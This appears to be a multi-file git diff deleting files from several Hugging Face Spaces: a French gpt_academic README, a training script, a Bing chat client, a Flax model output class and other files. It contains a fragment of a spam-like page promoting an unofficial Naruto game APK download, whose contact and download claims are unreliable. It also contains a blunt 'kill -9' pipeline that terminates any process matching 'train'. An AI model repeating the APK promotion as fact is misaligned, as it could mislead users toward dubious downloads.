          - ---- -# Installation -## Installation-Method 1: running directly (Windows, Linux or MacOS) - -1. Télécharger le projet -```sh -git clone https://github.com/binary-husky/chatgpt_academic.git -cd chatgpt_academic -``` - -2. Configuration de la clé API - -Dans `config.py`, configurez la clé API et d'autres paramètres. Consultez [Special network environment settings] (https://github.com/binary-husky/gpt_academic/issues/1). - -(P.S. Lorsque le programme est exécuté, il vérifie en premier s'il existe un fichier de configuration privé nommé `config_private.py` et remplace les paramètres portant le même nom dans `config.py` par les paramètres correspondants dans `config_private.py`. Par conséquent, si vous comprenez la logique de lecture de nos configurations, nous vous recommandons vivement de créer un nouveau fichier de configuration nommé `config_private.py` à côté de `config.py` et de transférer (copier) les configurations de `config.py`. `config_private.py` n'est pas contrôlé par Git et peut garantir la sécurité de vos informations privées. P.S. Le projet prend également en charge la configuration de la plupart des options via "variables d'environnement", le format d'écriture des variables d'environnement est référencé dans le fichier `docker-compose`. Priorité de lecture: "variables d'environnement" > `config_private.py` > `config.py`) - - -3. Installer les dépendances -```sh -# (Option I: python users instalation) (Python version 3.9 or higher, the newer the better). Note: use official pip source or ali pip source. To temporarily change the source: python -m pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/ -python -m pip install -r requirements.txt - -# (Option II: non-python users instalation) Use Anaconda, the steps are similar (https://www.bilibili.com/video/BV1rc411W7Dr): -conda create -n gptac_venv python=3.11 # Create anaconda env -conda activate gptac_venv # Activate anaconda env -python -m pip install -r requirements.txt # Same step as pip instalation -``` - -
          Cliquez ici pour afficher le texte si vous souhaitez prendre en charge THU ChatGLM/FDU MOSS en tant que backend. -

          - -【Optional】 Si vous souhaitez prendre en charge THU ChatGLM/FDU MOSS en tant que backend, des dépendances supplémentaires doivent être installées (prérequis: compétent en Python + utilisez Pytorch + configuration suffisante de l'ordinateur): -```sh -# 【Optional Step I】 Support THU ChatGLM. Remarque sur THU ChatGLM: Si vous rencontrez l'erreur "Appel à ChatGLM échoué, les paramètres ChatGLM ne peuvent pas être chargés normalement", reportez-vous à ce qui suit: 1: La version par défaut installée est torch+cpu, si vous souhaitez utiliser cuda, vous devez désinstaller torch et réinstaller torch+cuda; 2: Si le modèle ne peut pas être chargé en raison d'une configuration insuffisante de l'ordinateur local, vous pouvez modifier la précision du modèle dans request_llm/bridge_chatglm.py, modifier AutoTokenizer.from_pretrained("THUDM/chatglm-6b", trust_remote_code=True) par AutoTokenizer.from_pretrained("THUDM/chatglm-6b-int4", trust_remote_code=True) -python -m pip install -r request_llm/requirements_chatglm.txt - -# 【Optional Step II】 Support FDU MOSS -python -m pip install -r request_llm/requirements_moss.txt -git clone https://github.com/OpenLMLab/MOSS.git request_llm/moss # Note: When running this line of code, you must be in the project root path. - -# 【Optional Step III】Make sure the AVAIL_LLM_MODELS in the config.py configuration file contains the desired model. Currently, all models supported are as follows (the jittorllms series currently only supports the docker scheme): -AVAIL_LLM_MODELS = ["gpt-3.5-turbo", "api2d-gpt-3.5-turbo", "gpt-4", "api2d-gpt-4", "chatglm", "newbing", "moss"] # + ["jittorllms_rwkv", "jittorllms_pangualpha", "jittorllms_llama"] -``` - -

          -
          - - - -4. Exécution -```sh -python main.py -```5. Plugin de fonction de test -``` -- Fonction de modèle de plugin de test (requiert que GPT réponde à ce qui s'est passé dans l'histoire aujourd'hui), vous pouvez utiliser cette fonction comme modèle pour mettre en œuvre des fonctionnalités plus complexes. - Cliquez sur "[Démo de modèle de plugin de fonction] Aujourd'hui dans l'histoire" -``` - -## Installation - Méthode 2: Utilisation de Docker - -1. ChatGPT uniquement (recommandé pour la plupart des gens) - -``` sh -git clone https://github.com/binary-husky/chatgpt_academic.git # Télécharger le projet -cd chatgpt_academic # Accéder au chemin -nano config.py # Editez config.py avec n'importe quel éditeur de texte en configurant "Proxy", "API_KEY" et "WEB_PORT" (p. ex. 50923) -docker build -t gpt-academic . # Installer - -# (Dernière étape - choix1) Dans un environnement Linux, l'utilisation de `--net=host` est plus facile et rapide -docker run --rm -it --net=host gpt-academic -# (Dernière étape - choix 2) Dans un environnement macOS/Windows, seule l'option -p permet d'exposer le port du récipient (p.ex. 50923) au port de l'hôte. -docker run --rm -it -e WEB_PORT=50923 -p 50923:50923 gpt-academic -``` - -2. ChatGPT + ChatGLM + MOSS (il faut connaître Docker) - -``` sh -# Modifiez docker-compose.yml, supprimez la solution 1 et la solution 3, conservez la solution 2. Modifiez la configuration de la solution 2 dans docker-compose.yml en suivant les commentaires. -docker-compose up -``` - -3. ChatGPT + LLAMA + PanGu + RWKV (il faut connaître Docker) -``` sh -# Modifiez docker-compose.yml, supprimez la solution 1 et la solution 2, conservez la solution 3. Modifiez la configuration de la solution 3 dans docker-compose.yml en suivant les commentaires. -docker-compose up -``` - - -## Installation - Méthode 3: Autres méthodes de déploiement - -1. Comment utiliser une URL de proxy inversé / Microsoft Azure Cloud API -Configurez simplement API_URL_REDIRECT selon les instructions de config.py. - -2. Déploiement distant sur un serveur cloud (connaissance et expérience des serveurs cloud requises) -Veuillez consulter [Wiki de déploiement-1] (https://github.com/binary-husky/chatgpt_academic/wiki/%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%BF%9C%E7%A8%8B%E9%83%A8%E7%BD%B2%E6%8C%87%E5%8D%97). - -3. Utilisation de WSL2 (sous-système Windows pour Linux) -Veuillez consulter [Wiki de déploiement-2] (https://github.com/binary-husky/chatgpt_academic/wiki/%E4%BD%BF%E7%94%A8WSL2%EF%BC%88Windows-Subsystem-for-Linux-%E5%AD%90%E7%B3%BB%E7%BB%9F%EF%BC%89%E9%83%A8%E7%BD%B2). - -4. Comment exécuter sous un sous-répertoire (tel que `http://localhost/subpath`) -Veuillez consulter les [instructions d'exécution de FastAPI] (docs/WithFastapi.md). - -5. Utilisation de docker-compose -Veuillez lire docker-compose.yml, puis suivre les instructions fournies. - -# Utilisation avancée -## Personnalisation de nouveaux boutons pratiques / Plugins de fonctions personnalisées - -1. Personnalisation de nouveaux boutons pratiques (raccourcis académiques) -Ouvrez core_functional.py avec n'importe quel éditeur de texte, ajoutez une entrée comme suit, puis redémarrez le programme. (Si le bouton a été ajouté avec succès et est visible, le préfixe et le suffixe prennent en charge les modifications à chaud et ne nécessitent pas le redémarrage du programme pour prendre effet.) -Par exemple -``` -"Super coller sens": { - # Préfixe, sera ajouté avant votre entrée. Par exemple, pour décrire votre demande, telle que traduire, expliquer du code, faire la mise en forme, etc. - "Prefix": "Veuillez traduire le contenu suivant en chinois, puis expliquer chaque terme proprement nommé qui y apparaît avec un tableau markdown:\n\n", - - # Suffixe, sera ajouté après votre entrée. Par exemple, en utilisant le préfixe, vous pouvez entourer votre contenu d'entrée de guillemets. - "Suffix": "", -}, -``` -
          - -
          - -2. Plugins de fonctions personnalisées - -Écrivez des plugins de fonctions puissants pour effectuer toutes les tâches que vous souhaitez ou que vous ne pouvez pas imaginer. -Les plugins de ce projet ont une difficulté de programmation et de débogage très faible. Si vous avez des connaissances de base en Python, vous pouvez simuler la fonctionnalité de votre propre plugin en suivant le modèle que nous avons fourni. -Veuillez consulter le [Guide du plugin de fonction] (https://github.com/binary-husky/chatgpt_academic/wiki/%E5%87%BD%E6%95%B0%E6%8F%92%E4%BB%B6%E6%8C%87%E5%8D%97) pour plus de détails. - ---- -# Latest Update - -## Nouvelles fonctionnalités en cours de déploiement. - -1. Fonction de sauvegarde de la conversation. -Appelez simplement "Enregistrer la conversation actuelle" dans la zone de plugin de fonction pour enregistrer la conversation actuelle en tant que fichier html lisible et récupérable. De plus, dans la zone de plugin de fonction (menu déroulant), appelez "Charger une archive de l'historique de la conversation" pour restaurer la conversation précédente. Astuce : cliquer directement sur "Charger une archive de l'historique de la conversation" sans spécifier de fichier permet de consulter le cache d'archive html précédent. Cliquez sur "Supprimer tous les enregistrements locaux de l'historique de la conversation" pour supprimer le cache d'archive html. - -
          - -
          - - - -2. Générer un rapport. La plupart des plugins génèrent un rapport de travail après l'exécution. -
          - - - -
          - -3. Conception de fonctionnalités modulaires avec une interface simple mais capable d'une fonctionnalité puissante. -
          - - -
          - -4. C'est un projet open source qui peut "se traduire de lui-même". -
          - -
          - -5. Traduire d'autres projets open source n'est pas un problème. -
          - -
          - -
          - -
          - -6. Fonction de décoration de live2d (désactivée par défaut, nécessite une modification de config.py). -
          - -
          - -7. Prise en charge du modèle de langue MOSS. -
          - -
          - -8. Génération d'images OpenAI. -
          - -
          - -9. Analyse et synthèse vocales OpenAI. -
          - -
          - -10. Correction de la totalité des erreurs de Latex. -
          - -
          - - -## Versions : -- version 3.5 (À faire) : appel de toutes les fonctions de plugin de ce projet en langage naturel (priorité élevée) -- version 3.4 (À faire) : amélioration du support multi-thread de chatglm en local -- version 3.3 : Fonctionnalité intégrée d'informations d'internet -- version 3.2 : La fonction du plugin de fonction prend désormais en charge des interfaces de paramètres plus nombreuses (fonction de sauvegarde, décodage de n'importe quel langage de code + interrogation simultanée de n'importe quelle combinaison de LLM) -- version 3.1 : Prise en charge de l'interrogation simultanée de plusieurs modèles GPT ! Support api2d, équilibrage de charge multi-clé api. -- version 3.0 : Prise en charge de chatglm et autres LLM de petite taille. -- version 2.6 : Refonte de la structure des plugins, amélioration de l'interactivité, ajout de plus de plugins. -- version 2.5 : Auto-mise à jour, résolution des problèmes de texte trop long et de dépassement de jetons lors de la compilation du projet global. -- version 2.4 : (1) Nouvelle fonction de traduction de texte intégral PDF ; (2) Nouvelle fonction de permutation de position de la zone d'entrée ; (3) Nouvelle option de mise en page verticale ; (4) Amélioration des fonctions multi-thread de plug-in. -- version 2.3 : Amélioration de l'interactivité multithread. -- version 2.2 : Les plugins de fonctions peuvent désormais être rechargés à chaud. -- version 2.1 : Disposition pliable -- version 2.0 : Introduction de plugins de fonctions modulaires -- version 1.0 : Fonctionnalités de base - -gpt_academic développeur QQ groupe-2：610599535 - -- Problèmes connus - - Certains plugins de traduction de navigateur perturbent le fonctionnement de l'interface frontend de ce logiciel - - Des versions gradio trop hautes ou trop basses provoquent de nombreuses anomalies - -## Référence et apprentissage - -``` -De nombreux autres excellents projets ont été référencés dans le code, notamment : - -# Projet 1 : ChatGLM-6B de Tsinghua : -https://github.com/THUDM/ChatGLM-6B - -# Projet 2 : JittorLLMs de Tsinghua : -https://github.com/Jittor/JittorLLMs - -# Projet 3 : Edge-GPT : -https://github.com/acheong08/EdgeGPT - -# Projet 4 : ChuanhuChatGPT : -https://github.com/GaiZhenbiao/ChuanhuChatGPT - -# Projet 5 : ChatPaper : -https://github.com/kaixindelele/ChatPaper - -# Plus : -https://github.com/gradio-app/gradio -https://github.com/fghrsh/live2d_demo -``` \ No newline at end of file diff --git a/spaces/fb700/chatglm-fitness-RLHF/src/face3d/models/arcface_torch/run.sh b/spaces/fb700/chatglm-fitness-RLHF/src/face3d/models/arcface_torch/run.sh deleted file mode 100644 index 61af4b4950eb11334e55362e3e3c5e2796979a01..0000000000000000000000000000000000000000 --- a/spaces/fb700/chatglm-fitness-RLHF/src/face3d/models/arcface_torch/run.sh +++ /dev/null @@ -1,2 +0,0 @@ -CUDA_VISIBLE_DEVICES=0,1,2,3,4,5,6,7 python -m torch.distributed.launch --nproc_per_node=8 --nnodes=1 --node_rank=0 --master_addr="127.0.0.1" --master_port=1234 train.py configs/ms1mv3_r50 -ps -ef | grep "train" | grep -v grep | awk '{print "kill -9 "$2}' | sh diff --git a/spaces/feregVcuzo/sanity-test-midi/checkpoint/Download Naruto Ultimate Ninja Storm 4 APK - The Final Battle of the Ninja World.md b/spaces/feregVcuzo/sanity-test-midi/checkpoint/Download Naruto Ultimate Ninja Storm 4 APK - The Final Battle of the Ninja World.md deleted file mode 100644 index f8c36a5ac0b9c4ffa385b5110e0cd8a69c9ad3c0..0000000000000000000000000000000000000000 --- a/spaces/feregVcuzo/sanity-test-midi/checkpoint/Download Naruto Ultimate Ninja Storm 4 APK - The Final Battle of the Ninja World.md +++ /dev/null @@ -1,122 +0,0 @@ - -

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          10. A: You can contact the developer of Naruto Ultimate Ninja Storm 4 APK by sending them an email at narutostorm4apk@gmail.com or visiting their website at https://narutostorm4apk.com/. You can also follow them on Facebook, Twitter, Instagram, or YouTube for more information and updates.
            11. -

          401be4b1e0
          -
          -
          \ No newline at end of file diff --git a/spaces/fffffu/bing/src/lib/bots/bing/index.ts b/spaces/fffffu/bing/src/lib/bots/bing/index.ts deleted file mode 100644 index 2c4afae01a345b8415935228566cb30d695e768d..0000000000000000000000000000000000000000 --- a/spaces/fffffu/bing/src/lib/bots/bing/index.ts +++ /dev/null @@ -1,421 +0,0 @@ -import { fetch, WebSocket, debug } from '@/lib/isomorphic' -import WebSocketAsPromised from 'websocket-as-promised' -import { - SendMessageParams, - BingConversationStyle, - ConversationResponse, - ChatResponseMessage, - ConversationInfo, - InvocationEventType, - ChatError, - ErrorCode, - ChatUpdateCompleteResponse, - ImageInfo, - KBlobResponse -} from './types' - -import { convertMessageToMarkdown, websocketUtils, streamAsyncIterable } from './utils' -import { WatchDog, createChunkDecoder } from '@/lib/utils' - -type Params = SendMessageParams<{ bingConversationStyle: BingConversationStyle }> - -const OPTIONS_SETS = [ - 'nlu_direct_response_filter', - 'deepleo', - 'disable_emoji_spoken_text', - 'responsible_ai_policy_235', - 'enablemm', - 'iycapbing', - 'iyxapbing', - 'objopinion', - 'rweasgv2', - 'dagslnv1', - 'dv3sugg', - 'autosave', - 'iyoloxap', - 'iyoloneutral', - 'clgalileo', - 'gencontentv3', -] - -export class BingWebBot { - protected conversationContext?: ConversationInfo - protected cookie: string - protected ua: string - protected endpoint = '' - private lastText = '' - private asyncTasks: Array> = [] - - constructor(opts: { - cookie: string - ua: string - bingConversationStyle?: BingConversationStyle - conversationContext?: ConversationInfo - }) { - const { cookie, ua, conversationContext } = opts - this.cookie = cookie?.includes(';') ? cookie : `_EDGE_V=1; _U=${cookie}` - this.ua = ua - this.conversationContext = conversationContext - } - - static buildChatRequest(conversation: ConversationInfo) { - const optionsSets = OPTIONS_SETS - if (conversation.conversationStyle === BingConversationStyle.Precise) { - optionsSets.push('h3precise') - } else if (conversation.conversationStyle === BingConversationStyle.Creative) { - optionsSets.push('h3imaginative') - } - return { - arguments: [ - { - source: 'cib', - optionsSets, - allowedMessageTypes: [ - 'Chat', - 'InternalSearchQuery', - 'Disengaged', - 'InternalLoaderMessage', - 'SemanticSerp', - 'GenerateContentQuery', - 'SearchQuery', - ], - sliceIds: [ - 'winmuid1tf', - 'anssupfor_c', - 'imgchatgptv2', - 'tts2cf', - 'contansperf', - 'mlchatpc8500w', - 'mlchatpc2', - 'ctrlworkpay', - 'winshortmsgtf', - 'cibctrl', - 'sydtransctrl', - 'sydconfigoptc', - '0705trt4', - '517opinion', - '628ajcopus0', - '330uaugs0', - '529rwea', - '0626snptrcs0', - '424dagslnv1', - ], - isStartOfSession: conversation.invocationId === 0, - message: { - author: 'user', - inputMethod: 'Keyboard', - text: conversation.prompt, - imageUrl: conversation.imageUrl, - messageType: 'Chat', - }, - conversationId: conversation.conversationId, - conversationSignature: conversation.conversationSignature, - participant: { id: conversation.clientId }, - }, - ], - invocationId: conversation.invocationId.toString(), - target: 'chat', - type: InvocationEventType.StreamInvocation, - } - } - - async createConversation(): Promise { - const headers = { - 'Accept-Encoding': 'gzip, deflate, br, zsdch', - 'User-Agent': this.ua, - 'x-ms-useragent': 'azsdk-js-api-client-factory/1.0.0-beta.1 core-rest-pipeline/1.10.0 OS/Win32', - cookie: this.cookie, - } - - let resp: ConversationResponse | undefined - try { - const response = await fetch(this.endpoint + '/api/create', { method: 'POST', headers, redirect: 'error', mode: 'cors', credentials: 'include' }) - if (response.status === 404) { - throw new ChatError('Not Found', ErrorCode.NOTFOUND_ERROR) - } - resp = await response.json() as ConversationResponse - } catch (err) { - console.error('create conversation error', err) - } - - if (!resp?.result) { - throw new ChatError('Invalid response', ErrorCode.UNKOWN_ERROR) - } - - const { value, message } = resp.result || {} - if (value !== 'Success') { - const errorMsg = `${value}: ${message}` - if (value === 'UnauthorizedRequest') { - throw new ChatError(errorMsg, ErrorCode.BING_UNAUTHORIZED) - } - if (value === 'Forbidden') { - throw new ChatError(errorMsg, ErrorCode.BING_FORBIDDEN) - } - throw new ChatError(errorMsg, ErrorCode.UNKOWN_ERROR) - } - return resp - } - - private async createContext(conversationStyle: BingConversationStyle) { - if (!this.conversationContext) { - const conversation = await this.createConversation() - this.conversationContext = { - conversationId: conversation.conversationId, - conversationSignature: conversation.conversationSignature, - clientId: conversation.clientId, - invocationId: 0, - conversationStyle, - prompt: '', - } - } - return this.conversationContext - } - - async sendMessage(params: Params) { - try { - await this.createContext(params.options.bingConversationStyle) - Object.assign(this.conversationContext!, { prompt: params.prompt, imageUrl: params.imageUrl }) - return this.sydneyProxy(params) - } catch (error) { - params.onEvent({ - type: 'ERROR', - error: error instanceof ChatError ? error : new ChatError('Catch Error', ErrorCode.UNKOWN_ERROR), - }) - } - } - - private async sydneyProxy(params: Params) { - const abortController = new AbortController() - const response = await fetch(this.endpoint + '/api/sydney', { - method: 'POST', - headers: { - 'Content-Type': 'application/json', - }, - signal: abortController.signal, - body: JSON.stringify(this.conversationContext!) - }) - if (response.status !== 200) { - params.onEvent({ - type: 'ERROR', - error: new ChatError( - 'Unknown error', - ErrorCode.UNKOWN_ERROR, - ), - }) - } - params.signal?.addEventListener('abort', () => { - abortController.abort() - }) - - const textDecoder = createChunkDecoder() - for await (const chunk of streamAsyncIterable(response.body!)) { - this.parseEvents(params, websocketUtils.unpackMessage(textDecoder(chunk))) - } - } - - async sendWs() { - const wsConfig: ConstructorParameters[1] = { - packMessage: websocketUtils.packMessage, - unpackMessage: websocketUtils.unpackMessage, - createWebSocket: (url) => new WebSocket(url, { - headers: { - 'accept-language': 'zh-CN,zh;q=0.9', - 'cache-control': 'no-cache', - 'User-Agent': this.ua, - pragma: 'no-cache', - cookie: this.cookie, - } - }) - } - const wsp = new WebSocketAsPromised('wss://sydney.bing.com/sydney/ChatHub', wsConfig) - - wsp.open().then(() => { - wsp.sendPacked({ protocol: 'json', version: 1 }) - wsp.sendPacked({ type: 6 }) - wsp.sendPacked(BingWebBot.buildChatRequest(this.conversationContext!)) - }) - - return wsp - } - - private async useWs(params: Params) { - const wsp = await this.sendWs() - const watchDog = new WatchDog() - wsp.onUnpackedMessage.addListener((events) => { - watchDog.watch(() => { - wsp.sendPacked({ type: 6 }) - }) - this.parseEvents(params, events) - }) - - wsp.onClose.addListener(() => { - watchDog.reset() - params.onEvent({ type: 'DONE' }) - wsp.removeAllListeners() - }) - - params.signal?.addEventListener('abort', () => { - wsp.removeAllListeners() - wsp.close() - }) - } - - private async createImage(prompt: string, id: string) { - try { - const headers = { - 'Accept-Encoding': 'gzip, deflate, br, zsdch', - 'User-Agent': this.ua, - 'x-ms-useragent': 'azsdk-js-api-client-factory/1.0.0-beta.1 core-rest-pipeline/1.10.0 OS/Win32', - cookie: this.cookie, - } - const query = new URLSearchParams({ - prompt, - id - }) - const response = await fetch(this.endpoint + '/api/image?' + query.toString(), - { - method: 'POST', - headers, - mode: 'cors', - credentials: 'include' - }) - .then(res => res.text()) - if (response) { - this.lastText += '\n' + response - } - } catch (err) { - console.error('Create Image Error', err) - } - } - - private buildKnowledgeApiPayload(imageUrl: string, conversationStyle: BingConversationStyle) { - const imageInfo: ImageInfo = {} - let imageBase64: string | undefined = undefined - const knowledgeRequest = { - imageInfo, - knowledgeRequest: { - invokedSkills: [ - 'ImageById' - ], - subscriptionId: 'Bing.Chat.Multimodal', - invokedSkillsRequestData: { - enableFaceBlur: true - }, - convoData: { - convoid: this.conversationContext?.conversationId, - convotone: conversationStyle, - } - }, - } - - if (imageUrl.startsWith('data:image/')) { - imageBase64 = imageUrl.replace('data:image/', ''); - const partIndex = imageBase64.indexOf(',') - if (partIndex) { - imageBase64 = imageBase64.substring(partIndex + 1) - } - } else { - imageInfo.url = imageUrl - } - return { knowledgeRequest, imageBase64 } - } - - async uploadImage(imageUrl: string, conversationStyle: BingConversationStyle = BingConversationStyle.Creative): Promise { - if (!imageUrl) { - return - } - await this.createContext(conversationStyle) - const payload = this.buildKnowledgeApiPayload(imageUrl, conversationStyle) - - const response = await fetch(this.endpoint + '/api/kblob', - { - headers: { - 'Content-Type': 'application/json', - }, - method: 'POST', - mode: 'cors', - credentials: 'include', - body: JSON.stringify(payload), - }) - .then(res => res.json()) - .catch(e => { - console.log('Error', e) - }) - return response - } - - private async generateContent(message: ChatResponseMessage) { - if (message.contentType === 'IMAGE') { - this.asyncTasks.push(this.createImage(message.text, message.messageId)) - } - } - - private async parseEvents(params: Params, events: any) { - const conversation = this.conversationContext! - - events?.forEach(async (event: ChatUpdateCompleteResponse) => { - debug('bing event', event) - if (event.type === 3) { - await Promise.all(this.asyncTasks) - this.asyncTasks = [] - params.onEvent({ type: 'UPDATE_ANSWER', data: { text: this.lastText } }) - params.onEvent({ type: 'DONE' }) - conversation.invocationId = parseInt(event.invocationId, 10) + 1 - } else if (event.type === 1) { - const messages = event.arguments[0].messages - if (messages) { - const text = convertMessageToMarkdown(messages[0]) - this.lastText = text - params.onEvent({ type: 'UPDATE_ANSWER', data: { text, spokenText: messages[0].text, throttling: event.arguments[0].throttling } }) - } - } else if (event.type === 2) { - const messages = event.item.messages as ChatResponseMessage[] | undefined - if (!messages) { - params.onEvent({ - type: 'ERROR', - error: new ChatError( - event.item.result.error || 'Unknown error', - event.item.result.value === 'Throttled' ? ErrorCode.THROTTLE_LIMIT - : event.item.result.value === 'CaptchaChallenge' ? (this.conversationContext?.conversationId?.includes('BingProdUnAuthenticatedUsers') ? ErrorCode.BING_UNAUTHORIZED : ErrorCode.BING_CAPTCHA) - : ErrorCode.UNKOWN_ERROR - ), - }) - return - } - const limited = messages.some((message) => - message.contentOrigin === 'TurnLimiter' - || message.messageType === 'Disengaged' - ) - if (limited) { - params.onEvent({ - type: 'ERROR', - error: new ChatError( - 'Sorry, you have reached chat limit in this conversation.', - ErrorCode.CONVERSATION_LIMIT, - ), - }) - return - } - - const lastMessage = event.item.messages.at(-1) as ChatResponseMessage - const specialMessage = event.item.messages.find(message => message.author === 'bot' && message.contentType === 'IMAGE') - if (specialMessage) { - this.generateContent(specialMessage) - } - - if (lastMessage) { - const text = convertMessageToMarkdown(lastMessage) - this.lastText = text - params.onEvent({ - type: 'UPDATE_ANSWER', - data: { text, throttling: event.item.throttling, suggestedResponses: lastMessage.suggestedResponses, sourceAttributions: lastMessage.sourceAttributions }, - }) - } - } - }) - } - - resetConversation() { - this.conversationContext = undefined - } -} diff --git a/spaces/fffiloni/controlnet-animation-doodle/node_modules/toidentifier/README.md b/spaces/fffiloni/controlnet-animation-doodle/node_modules/toidentifier/README.md deleted file mode 100644 index 57e8a78ab5218e7d424eabde5b6865997a14f500..0000000000000000000000000000000000000000 --- a/spaces/fffiloni/controlnet-animation-doodle/node_modules/toidentifier/README.md +++ /dev/null @@ -1,61 +0,0 @@ -# toidentifier - -[![NPM Version][npm-image]][npm-url] -[![NPM Downloads][downloads-image]][downloads-url] -[![Build Status][github-actions-ci-image]][github-actions-ci-url] -[![Test Coverage][codecov-image]][codecov-url] - -> Convert a string of words to a JavaScript identifier - -## Install - -This is a [Node.js](https://nodejs.org/en/) module available through the -[npm registry](https://www.npmjs.com/). Installation is done using the -[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally): - -```bash -$ npm install toidentifier -``` - -## Example - -```js -var toIdentifier = require('toidentifier') - -console.log(toIdentifier('Bad Request')) -// => "BadRequest" -``` - -## API - -This CommonJS module exports a single default function: `toIdentifier`. - -### toIdentifier(string) - -Given a string as the argument, it will be transformed according to -the following rules and the new string will be returned: - -1. Split into words separated by space characters (`0x20`). -2. Upper case the first character of each word. -3. Join the words together with no separator. -4. Remove all non-word (`[0-9a-z_]`) characters. - -## License - -[MIT](LICENSE) - -[codecov-image]: https://img.shields.io/codecov/c/github/component/toidentifier.svg -[codecov-url]: https://codecov.io/gh/component/toidentifier -[downloads-image]: https://img.shields.io/npm/dm/toidentifier.svg -[downloads-url]: https://npmjs.org/package/toidentifier -[github-actions-ci-image]: https://img.shields.io/github/workflow/status/component/toidentifier/ci/master?label=ci -[github-actions-ci-url]: https://github.com/component/toidentifier?query=workflow%3Aci -[npm-image]: https://img.shields.io/npm/v/toidentifier.svg -[npm-url]: https://npmjs.org/package/toidentifier - - -## - -[npm]: https://www.npmjs.com/ - -[yarn]: https://yarnpkg.com/ diff --git a/spaces/flax-community/t5-vae/t5_vae_flax_alt/src/outputs.py b/spaces/flax-community/t5-vae/t5_vae_flax_alt/src/outputs.py deleted file mode 100644 index 195017077741b9df8b9c2deb164f1584b719ddc2..0000000000000000000000000000000000000000 --- a/spaces/flax-community/t5-vae/t5_vae_flax_alt/src/outputs.py +++ /dev/null @@ -1,74 +0,0 @@ -from typing import Optional, Tuple - -import flax -import jaxlib.xla_extension as jax_xla - -from transformers.file_utils import ModelOutput - - -@flax.struct.dataclass -class TransformerVaeOutput(ModelOutput): - """ - Base class for a Transformer-VAE's outputs. - - Args: - latent_codes (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, n_latent_tokens, latent_token_size)`): - Latent codes representing encoded sequences. - remade_encoder_hidden_state (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, n_tokens, model_dim)`): - Reconstructed encoder hidden states representing sequences. - - (std Seq2Seq) Args: - logits (:obj:`jax_xla.DeviceArray` of shape :obj:`(batch_size, sequence_length, config.vocab_size)`): - Prediction scores of the language modeling head (scores for each vocabulary token before SoftMax). - past_key_values (:obj:`tuple(tuple(jax_xla.DeviceArray))`, `optional`, returned when ``use_cache=True`` is passed or when ``config.use_cache=True``): - Tuple of :obj:`tuple(jax_xla.DeviceArray)` of length :obj:`config.n_layers`, with each tuple having 2 - tensors of shape :obj:`(batch_size, num_heads, sequence_length, embed_size_per_head)`) and 2 additional - tensors of shape :obj:`(batch_size, num_heads, encoder_sequence_length, embed_size_per_head)`. - - Contains pre-computed hidden-states (key and values in the self-attention blocks and in the cross-attention - blocks) that can be used (see :obj:`past_key_values` input) to speed up sequential decoding. - last_hidden_state (:obj:`tuple(jax_xla.DeviceArray)`: - Last model hidden state. - decoder_hidden_states (:obj:`tuple(jax_xla.DeviceArray)`, `optional`, returned when ``output_hidden_states=True`` is passed or when ``config.output_hidden_states=True``): - Tuple of :obj:`jax_xla.DeviceArray` (one for the output of the embeddings + one for the output of each - layer) of shape :obj:`(batch_size, sequence_length, hidden_size)`. - - Hidden-states of the decoder at the output of each layer plus the initial embedding outputs. - decoder_attentions (:obj:`tuple(jax_xla.DeviceArray)`, `optional`, returned when ``output_attentions=True`` is passed or when ``config.output_attentions=True``): - Tuple of :obj:`jax_xla.DeviceArray` (one for each layer) of shape :obj:`(batch_size, num_heads, - sequence_length, sequence_length)`. - - Attentions weights of the decoder, after the attention softmax, used to compute the weighted average in the - self-attention heads. - cross_attentions (:obj:`tuple(jax_xla.DeviceArray)`, `optional`, returned when ``output_attentions=True`` is passed or when ``config.output_attentions=True``): - Tuple of :obj:`jax_xla.DeviceArray` (one for each layer) of shape :obj:`(batch_size, num_heads, - sequence_length, sequence_length)`. - - Attentions weights of the decoder's cross-attention layer, after the attention softmax, used to compute the - weighted average in the cross-attention heads. - encoder_last_hidden_state (:obj:`jax_xla.DeviceArray` of shape :obj:`(batch_size, sequence_length, hidden_size)`, `optional`): - Sequence of hidden-states at the output of the last layer of the encoder of the model. - encoder_hidden_states (:obj:`tuple(jax_xla.DeviceArray)`, `optional`, returned when ``output_hidden_states=True`` is passed or when ``config.output_hidden_states=True``): - Tuple of :obj:`jax_xla.DeviceArray` (one for the output of the embeddings + one for the output of each - layer) of shape :obj:`(batch_size, sequence_length, hidden_size)`. - - Hidden-states of the encoder at the output of each layer plus the initial embedding outputs. - encoder_attentions (:obj:`tuple(jax_xla.DeviceArray)`, `optional`, returned when ``output_attentions=True`` is passed or when ``config.output_attentions=True``): - Tuple of :obj:`jax_xla.DeviceArray` (one for each layer) of shape :obj:`(batch_size, num_heads, - sequence_length, sequence_length)`. - - Attentions weights of the encoder, after the attention softmax, used to compute the weighted average in the - self-attention heads. - """ - logits: jax_xla.DeviceArray = None - latent_codes: jax_xla.DeviceArray = None - remade_encoder_hidden_state: jax_xla.DeviceArray = None - # seq2seq - past_key_values: Optional[Tuple[Tuple[jax_xla.DeviceArray]]] = None - decoder_hidden_states: Optional[Tuple[jax_xla.DeviceArray]] = None - decoder_attentions: Optional[Tuple[jax_xla.DeviceArray]] = None - cross_attentions: Optional[Tuple[jax_xla.DeviceArray]] = None - last_hidden_state: Optional[jax_xla.DeviceArray] = None - encoder_last_hidden_state: Optional[jax_xla.DeviceArray] = None - encoder_hidden_states: Optional[Tuple[jax_xla.DeviceArray]] = None - encoder_attentions: Optional[Tuple[jax_xla.DeviceArray]] = None diff --git a/spaces/flowers-team/SocialAISchool/models/blindtalkmultiheadedac.py b/spaces/flowers-team/SocialAISchool/models/blindtalkmultiheadedac.py deleted file mode 100644 index e233947250525e5321142255d04ca047bc9bf571..0000000000000000000000000000000000000000 --- a/spaces/flowers-team/SocialAISchool/models/blindtalkmultiheadedac.py +++ /dev/null @@ -1,181 +0,0 @@ -import numpy as np -import torch -import torch.nn as nn -import torch.nn.functional as F -from torch.distributions.categorical import Categorical -import torch_ac - -from utils.other import init_params - - - - -class BlindTalkingMultiHeadedACModel(nn.Module, torch_ac.RecurrentACModel): - def __init__(self, obs_space, action_space, use_memory=False, use_text=False, use_dialogue=False): - super().__init__() - - # Decide which components are enabled - self.use_text = use_text - self.use_dialogue = use_dialogue - self.use_memory = use_memory - - # multi dim - if action_space.shape == (): - raise ValueError("The action space is not multi modal. Use ACModel instead.") - - self.n_primitive_actions = 